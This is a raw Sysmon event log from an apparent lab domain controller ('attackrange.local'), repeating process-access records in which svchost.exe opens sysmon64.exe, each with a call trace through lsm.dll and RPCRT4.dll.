09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001608Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001607Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001606Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001605Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001604Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001603Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001602Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001601Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001600Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001599Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001598Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001597Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001596Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001595Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001594Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001593Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001592Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001591Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.809{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001590Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001589Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001588Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001587Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001586Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001585Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 